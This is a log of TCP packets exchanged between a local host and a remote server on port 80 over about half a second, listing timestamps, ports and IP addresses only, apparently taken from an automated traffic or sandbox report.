Dec 12, 2024 14:26:29.914803982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.915522099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.915560007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.915812969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.915852070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.916352987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.916366100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.916390896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.916408062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.917220116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.917232990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.917263031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.917280912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.917979956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.918023109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.063811064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.063832045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.063867092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.063893080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.064021111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.064064980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.064075947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.064115047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.064836979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.064891100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.064977884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.065020084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.065746069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.065826893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.065865993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.065917969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.066610098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.066648960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.066870928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.066917896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.067542076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.067584991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.067672968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.067722082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.068608046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.068665028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.068764925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.068808079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.069468021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.069515944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.069554090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.069597006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.070508003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.070560932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.070607901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.070679903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.071712017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.071768999 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.071805954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.071849108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.072674990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.072722912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.072805882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.072854996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.073636055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.073651075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.073683023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.073704958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.074850082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.074866056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.074914932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.074930906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.075591087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.075609922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.075637102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.075650930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.076550961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.076591969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.076644897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.076683998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.077337027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.077356100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.077388048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.077400923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.077985048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.077999115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.078032970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.078046083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.078681946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.078730106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.078908920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.078948975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.079257965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.079329014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.079377890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.079420090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.079943895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.079976082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.079981089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.080013990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.080929041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.080974102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.081010103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.081044912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.081690073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.081747055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.081777096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.081824064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.082700014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.082717896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.082743883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.082768917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.083426952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.083468914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.083554983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.083600998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.084423065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.084470987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.084486008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.084526062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.085289955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.085340977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.085443974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.085490942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.086308956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.086354971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.086393118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.086435080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.087167025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.087209940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.087219000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.087248087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.087966919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.087982893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.088011026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.088027000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.088913918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.088932037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.088963032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.088978052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.089677095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.089735985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.089826107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.089865923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.090542078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.090590954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.090720892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.090775013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.091528893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.091553926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.091583014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.091595888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.092452049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.092468977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.092498064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.092525959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.093219042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.093264103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.093420982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.093466997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.094186068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.094201088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.094228983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.094242096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.094986916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.095045090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.095202923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.095283985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.095997095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.096014977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.096043110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.096064091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.096777916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.096793890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.096822023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.096837997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.097687006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.097723961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.097738981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.097758055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.098556042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.098608971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.098634958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.098675013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.099508047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.099555016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.099661112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.099700928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.100434065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.100449085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.100481987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.100497007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.101284027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.101305008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.101332903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.101346016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.102108002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.102128029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.102150917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.102169991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.103002071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.103046894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.103065014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.103111982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.103878021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.103940964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.103998899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.104041100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.104758978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.104815006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.104824066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.104863882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.105623960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.105668068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.105788946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.105832100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.106448889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.106489897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.106661081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.106703043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.107384920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.107431889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.107486010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.107527018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.108309031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.108366013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.108414888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.108501911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.109138012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.109169006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.109174967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.109210014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.110055923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.110100985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.255542040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.255616903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.255784988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.255836010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.255985022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.256036997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.256145954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.256191969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.256196976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.256238937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.257030010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.257076979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.257102013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.257136106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.257926941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.257976055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.258047104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.258086920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.258812904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.258867979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.258980036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.259026051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.259757042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.259802103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.259818077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.259860039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.260603905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.260651112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.260909081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.260957003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.261491060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.261540890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.262264013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.262311935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.262376070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.262423038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.262495041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.262542009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.263371944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.263410091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.263422012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.263458967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.264456034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.264492035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.264498949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.264544964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.265017033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.265090942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.265650988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.265710115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.265861034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.265974045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.266033888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.266081095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.267071009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.267121077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.267616034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.267628908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.267663002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.267677069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.267733097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.267776012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.268526077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.268564939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.268780947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.268822908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.269434929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.269479990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.270078897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.270122051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.270303011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.270347118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.270663977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.270706892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.271496058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.271553993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.271589994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.271661997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.272458076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.272530079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.272783995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.272828102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.273498058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.273547888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.274333954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.274385929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.274681091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.274722099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.275640011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.275652885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.275690079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.275703907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.275736094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.275775909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.276936054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.276948929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.276999950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.277457952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.277510881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.277697086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.277743101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.278419018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.278467894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.279115915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.279129028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.279213905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.279362917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.279429913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.279877901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.279891014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.279932976 CET	49801	80	192.168.2.4	31.41.244.11
